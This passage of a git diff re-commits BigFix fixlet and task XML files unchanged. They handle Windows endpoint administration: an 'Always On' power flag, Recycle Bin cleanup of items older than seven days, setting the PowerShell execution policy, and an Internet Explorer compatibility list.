+    <Relevance><![CDATA[exists key ("HKEY_USERS\" & (name of key whose (value "Logon User Name" of key "Explorer" of key "CurrentVersion" of key "Windows" of key "Microsoft" of key "Software" of it as string as lowercase = name of current user as string as lowercase) of key "HKEY_USERS" of registry) & "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced") of registry]]></Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-01</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 23:09:39 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
+    </DefaultAction>
+    <Action ID="Action230">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to article describing enabling this on xp.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.liutilities.com/products/registrybooster/tweaklibrary/tweaks/10226/</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Computer as _Always On_ (2570).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Computer as _Always On_ (2570).bes
index 735c3716b..6f86fe478 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configure Computer as _Always On_ (2570).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Computer as _Always On_ (2570).bes	
@@ -1,44 +1,44 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configure Computer as "Always On"
-  ID       : 2570
-  Author   : saylorl
-  Domain   : SYST
-  Imported : 2013-08-27T12:51:30
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configure Computer as &quot;Always On&quot;</Title>
-    <Description>This fixlet will &quot;tag&quot; the targeted endpoints with a client setting to exclude it from PowerManagement Settings. </Description>
-    <Relevance>if exists setting &quot;IsAlwaysOn&quot; of client then  value of setting &quot;IsAlwaysOn&quot; of client as boolean != true else true</Relevance>
-    <Category>Power Configuration Flag</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2013-08-27</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 27 Aug 2013 19:50:23 +0000</Value>
-    </MIMEField>
-    <Domain>SYST</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to configure&amp;nbsp;as an &quot;Always On&quot; computer.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting &quot;IsAlwaysOn&quot;=&quot;true&quot; on &quot;{now}&quot; for client</ActionScript>
-    </DefaultAction>
-    <Action ID="Action2816">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink>to configure&amp;nbsp;NOT to be an &quot;Always On&quot; computer</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting delete &quot;IsAlwaysOn&quot; on &quot;{now}&quot;</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure Computer as "Always On"
+  ID       : 2570
+  Author   : saylorl
+  Domain   : SYST
+  Imported : 2013-08-27T12:51:30
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure Computer as &quot;Always On&quot;</Title>
+    <Description>This fixlet will &quot;tag&quot; the targeted endpoints with a client setting to exclude it from PowerManagement Settings. </Description>
+    <Relevance>if exists setting &quot;IsAlwaysOn&quot; of client then  value of setting &quot;IsAlwaysOn&quot; of client as boolean != true else true</Relevance>
+    <Category>Power Configuration Flag</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2013-08-27</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 27 Aug 2013 19:50:23 +0000</Value>
+    </MIMEField>
+    <Domain>SYST</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to configure&amp;nbsp;as an &quot;Always On&quot; computer.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting &quot;IsAlwaysOn&quot;=&quot;true&quot; on &quot;{now}&quot; for client</ActionScript>
+    </DefaultAction>
+    <Action ID="Action2816">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>to configure&amp;nbsp;NOT to be an &quot;Always On&quot; computer</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting delete &quot;IsAlwaysOn&quot; on &quot;{now}&quot;</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Disk Cleanup_ Recycle Bin - Remove files deleted more than 7 days ago (Windows Vista and Higher) (6035).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Disk Cleanup_ Recycle Bin - Remove files deleted more than 7 days ago (Windows Vista and Higher) (6035).bes
index 405cdca40..1bf1073e6 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configure Disk Cleanup_ Recycle Bin - Remove files deleted more than 7 days ago (Windows Vista and Higher) (6035).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Disk Cleanup_ Recycle Bin - Remove files deleted more than 7 days ago (Windows Vista and Higher) (6035).bes	
@@ -1,59 +1,59 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configure Disk Cleanup: Recycle Bin - Remove files deleted more than 7 days ago (Windows Vista and Higher)
-  ID       : 6035
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2015-04-28T11:41:25
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configure Disk Cleanup: Recycle Bin - Remove files deleted more than 7 days ago (Windows Vista and Higher)</Title>
-    <Description><![CDATA[<P>Removes any Files/Folders from the Recycle Bin, that were Recycled more than 7 days ago.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
-    <Relevance><![CDATA[version of operating system >= "6" as version]]></Relevance>
-    <Relevance>(exists folders &quot;$Recycle.Bin&quot; of root folders of drives)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2015-04-28</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 28 Apr 2015 18:33:07 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// See http://dereknewton.com/2010/06/recycle-bin-forensics-in-windows-7-and-vista/ for info on how Windows Vista and higher store recycled files
-// In Windows Vista and higher, the Recycle Bin for each drive is stored in the folder "$Recycle.Bin" in the root folder of each drive
-// Each User gets their own recycle bin - a folder beneath "$Recycle.Bin" named for the user SID
-// Each File deleted is renamed to $R<random string>.<original extension>
-// For each deleted file, there's a matching Index file $I<same string as the file>.<original extension> that gets created
-//
-// We can use the modification time of the $I<*> files to determine how long ago the file was deleted, and then remove both the $I file and the $R file
-//
-// Deleted folders get a whole folder name for $I and $R, and beneath the $R folder the original filenames are kept.  So we can remove whole directories at once
-// based on the timestamp of the matching $I file - timestamped to when the folder was deleted
-
-// The following builds a fully-qualified list of both files & folders to remove
-// (item 0 of it & "\" & item 1 of it; item 0 of it & "\" & item 2 of it) of (pathname of parent folder of it, name of it, "$R" & following text of first "$I" of name of it) of (files of it; folders of it) whose (name of it starts with "$I" and (now - modification time of it) / day > 7 ) of folders of folders "$Recycle.Bin" of root folders of drives
-
-
-delete __appendfile
-
-appendfile {concatenation "%0d%0a" of ("attrib -s -h -r %22" & it & "%22%0d%0adel /q %22" & it & "%22%0d%0ard /s /q %22" & it & "%22") of (item 0 of it & "\" & item 1 of it; item 0 of it & "\" & item 2 of it)  of (pathname of parent folder of it, name of it, "$R" & following text of first "$I" of name of it)of (descendants of it; descendant folders of it) whose (name of it starts with "$I" and (now - modification time of it) / day > 7 ) of folders "$Recycle.Bin" of root folders of drives}
-
-delete "empty_recycle.cmd"
-move __appendfile "empty_recycle.cmd"
-waithidden "empty_recycle.cmd"
-
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure Disk Cleanup: Recycle Bin - Remove files deleted more than 7 days ago (Windows Vista and Higher)
+  ID       : 6035
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2015-04-28T11:41:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure Disk Cleanup: Recycle Bin - Remove files deleted more than 7 days ago (Windows Vista and Higher)</Title>
+    <Description><![CDATA[<P>Removes any Files/Folders from the Recycle Bin, that were Recycled more than 7 days ago.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6" as version]]></Relevance>
+    <Relevance>(exists folders &quot;$Recycle.Bin&quot; of root folders of drives)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2015-04-28</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 28 Apr 2015 18:33:07 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// See http://dereknewton.com/2010/06/recycle-bin-forensics-in-windows-7-and-vista/ for info on how Windows Vista and higher store recycled files
+// In Windows Vista and higher, the Recycle Bin for each drive is stored in the folder "$Recycle.Bin" in the root folder of each drive
+// Each User gets their own recycle bin - a folder beneath "$Recycle.Bin" named for the user SID
+// Each File deleted is renamed to $R<random string>.<original extension>
+// For each deleted file, there's a matching Index file $I<same string as the file>.<original extension> that gets created
+//
+// We can use the modification time of the $I<*> files to determine how long ago the file was deleted, and then remove both the $I file and the $R file
+//
+// Deleted folders get a whole folder name for $I and $R, and beneath the $R folder the original filenames are kept.  So we can remove whole directories at once
+// based on the timestamp of the matching $I file - timestamped to when the folder was deleted
+
+// The following builds a fully-qualified list of both files & folders to remove
+// (item 0 of it & "\" & item 1 of it; item 0 of it & "\" & item 2 of it) of (pathname of parent folder of it, name of it, "$R" & following text of first "$I" of name of it) of (files of it; folders of it) whose (name of it starts with "$I" and (now - modification time of it) / day > 7 ) of folders of folders "$Recycle.Bin" of root folders of drives
+
+
+delete __appendfile
+
+appendfile {concatenation "%0d%0a" of ("attrib -s -h -r %22" & it & "%22%0d%0adel /q %22" & it & "%22%0d%0ard /s /q %22" & it & "%22") of (item 0 of it & "\" & item 1 of it; item 0 of it & "\" & item 2 of it)  of (pathname of parent folder of it, name of it, "$R" & following text of first "$I" of name of it)of (descendants of it; descendant folders of it) whose (name of it starts with "$I" and (now - modification time of it) / day > 7 ) of folders "$Recycle.Bin" of root folders of drives}
+
+delete "empty_recycle.cmd"
+move __appendfile "empty_recycle.cmd"
+waithidden "empty_recycle.cmd"
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Execution Policy (632).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Execution Policy (632).bes
index e3e3ea89f..3ac7f27c5 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configure Execution Policy (632).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Execution Policy (632).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Configure Execution Policy
-  ID       : 632
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-24T13:43:56
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Configure Execution Policy</Title>
-    <Description><![CDATA[<P>This will allow you to configure the Execution Policy of powershell on endpoints.</P>
-<P>This task allows you to configure a policy for your environment.</P>]]></Description>
-    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
-    <Category>Setting</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2011-04-21</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 01 Oct 2012 21:28:40 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to configure this setting.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;ExecutionPolicy&quot; with description &quot;Please specify the setting you want to configure (Restricted, RemoteSigned, or Unrestricted):&quot;
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;ExecutionPolicy&quot; as string}&quot;
-if {x64 of operating system}
-	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;ExecutionPolicy&quot; as string}&quot;
-endif</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Configure Execution Policy
+  ID       : 632
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-24T13:43:56
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Configure Execution Policy</Title>
+    <Description><![CDATA[<P>This will allow you to configure the Execution Policy of powershell on endpoints.</P>
+<P>This task allows you to configure a policy for your environment.</P>]]></Description>
+    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <Category>Setting</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2011-04-21</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 21:28:40 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to configure this setting.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;ExecutionPolicy&quot; with description &quot;Please specify the setting you want to configure (Restricted, RemoteSigned, or Unrestricted):&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;ExecutionPolicy&quot; as string}&quot;
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;ExecutionPolicy&quot; as string}&quot;
+endif</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Execution Policy (74).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Execution Policy (74).bes
index d64ac987a..af57e7854 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configure Execution Policy (74).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Execution Policy (74).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configure Execution Policy
-  ID       : 74
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-17T09:31:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configure Execution Policy</Title>
-    <Description><![CDATA[<P>This will allow you to configure the Execution Policy of powershell on endpoints.</P>
-<P>This task allows you to configure a policy for your environment.</P>]]></Description>
-    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
-    <Category>Setting</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2011-04-21</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 01 Oct 2012 21:28:40 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to configure this setting.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;ExecutionPolicy&quot; with description &quot;Please specify the setting you want to configure (Restricted, RemoteSigned, or Unrestricted):&quot;
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;ExecutionPolicy&quot; as string}&quot;
-if {x64 of operating system}
-	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;ExecutionPolicy&quot; as string}&quot;
-endif</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure Execution Policy
+  ID       : 74
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure Execution Policy</Title>
+    <Description><![CDATA[<P>This will allow you to configure the Execution Policy of powershell on endpoints.</P>
+<P>This task allows you to configure a policy for your environment.</P>]]></Description>
+    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <Category>Setting</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2011-04-21</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 21:28:40 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to configure this setting.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;ExecutionPolicy&quot; with description &quot;Please specify the setting you want to configure (Restricted, RemoteSigned, or Unrestricted):&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;ExecutionPolicy&quot; as string}&quot;
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;ExecutionPolicy&quot; as string}&quot;
+endif</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Internet Explorer Compatibility List for Currently Logged On User (647).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Internet Explorer Compatibility List for Currently Logged On User (647).bes
index 20c904118..274258750 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configure Internet Explorer Compatibility List for Currently Logged On User (647).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Internet Explorer Compatibility List for Currently Logged On User (647).bes	
@@ -1,55 +1,55 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Configure Internet Explorer Compatibility List for Currently Logged On User
-  ID       : 647
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-26T19:46:57
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Configure Internet Explorer Compatibility List for Currently Logged On User</Title>
-    <Description><![CDATA[<P>This task is an example of how to configure the Internet Explorer's Compatibility List as a policy to all of your endpoints.</P>
-<P>OOB this task configures both "ibm.com" and "red.com" as my list.&nbsp; If you want to configure your own list, do the following:</P>
-<P>1. Using a test box, configure your compatibility list exactly the way you want it to be on your endpoints.<BR>2. Export the following registry key:&nbsp; HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\BrowserEmulation\ClearableListData<BR>3. Copy/Past that reg file into the actionscript of this task.<BR>4. Modify the overall relevance #2 with your list.&nbsp; It's easy to do if you've gotten this far.</P>
-<P>Save and launch against your target endpoints.</P>
-<P>Remember this configures the currently logged in user.&nbsp; So if you have endpoints with multiple users, this task may run more than once as each user logs in.</P>]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance><![CDATA[(it contains "ibm.com" AND it contains "red.com") of (concatenation of substrings separated by "%00" whose (exists match (regex "^[ a-zA-Z0-9.\x%0c\-]$") of it) of hexadecimal string (values "UserFilter" of key ("HKU\" & (component string of sid of security account (name of current user)) & "\Software\Microsoft\Internet Explorer\BrowserEmulation\ClearableListData") of registry as string))]]></Relevance>
-    <Category>Common Tasks</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-10-26</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Sat, 27 Oct 2012 00:46:20 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-//create .reg file
-createfile until END
-Windows Registry Editor Version 5.00
-[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\BrowserEmulation\ClearableListData]
-&quot;UserFilter&quot;=hex:41,1f,00,00,53,08,ad,ba,02,00,00,00,4c,00,00,00,01,00,00,00,\
-  02,00,00,00,0c,00,00,00,a8,23,f2,69,79,b0,cd,01,01,00,00,00,07,00,69,00,62,\
-  00,6d,00,2e,00,63,00,6f,00,6d,00,0c,00,00,00,51,92,b3,23,db,b3,cd,01,01,00,\
-  00,00,07,00,72,00,65,00,64,00,2e,00,63,00,6f,00,6d,00
-END
-delete temp.reg
-move __createfile temp.reg
-// run .reg file
-wait regedit -s temp.reg
-</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Configure Internet Explorer Compatibility List for Currently Logged On User
+  ID       : 647
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-26T19:46:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Configure Internet Explorer Compatibility List for Currently Logged On User</Title>
+    <Description><![CDATA[<P>This task is an example of how to configure the Internet Explorer's Compatibility List as a policy to all of your endpoints.</P>
+<P>OOB this task configures both "ibm.com" and "red.com" as my list.&nbsp; If you want to configure your own list, do the following:</P>
+<P>1. Using a test box, configure your compatibility list exactly the way you want it to be on your endpoints.<BR>2. Export the following registry key:&nbsp; HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\BrowserEmulation\ClearableListData<BR>3. Copy/Past that reg file into the actionscript of this task.<BR>4. Modify the overall relevance #2 with your list.&nbsp; It's easy to do if you've gotten this far.</P>
+<P>Save and launch against your target endpoints.</P>
+<P>Remember this configures the currently logged in user.&nbsp; So if you have endpoints with multiple users, this task may run more than once as each user logs in.</P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance><![CDATA[(it contains "ibm.com" AND it contains "red.com") of (concatenation of substrings separated by "%00" whose (exists match (regex "^[ a-zA-Z0-9.\x%0c\-]$") of it) of hexadecimal string (values "UserFilter" of key ("HKU\" & (component string of sid of security account (name of current user)) & "\Software\Microsoft\Internet Explorer\BrowserEmulation\ClearableListData") of registry as string))]]></Relevance>
+    <Category>Common Tasks</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-26</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 27 Oct 2012 00:46:20 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+//create .reg file
+createfile until END
+Windows Registry Editor Version 5.00
+[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\BrowserEmulation\ClearableListData]
+&quot;UserFilter&quot;=hex:41,1f,00,00,53,08,ad,ba,02,00,00,00,4c,00,00,00,01,00,00,00,\
+  02,00,00,00,0c,00,00,00,a8,23,f2,69,79,b0,cd,01,01,00,00,00,07,00,69,00,62,\
+  00,6d,00,2e,00,63,00,6f,00,6d,00,0c,00,00,00,51,92,b3,23,db,b3,cd,01,01,00,\
+  00,00,07,00,72,00,65,00,64,00,2e,00,63,00,6f,00,6d,00
+END
+delete temp.reg
+move __createfile temp.reg
+// run .reg file
+wait regedit -s temp.reg
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Registered Organization and Owner (86).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Registered Organization and Owner (86).bes
index 4001734ba..6bf6724fc 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configure Registered Organization and Owner (86).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Registered Organization and Owner (86).bes	
@@ -1,80 +1,80 @@
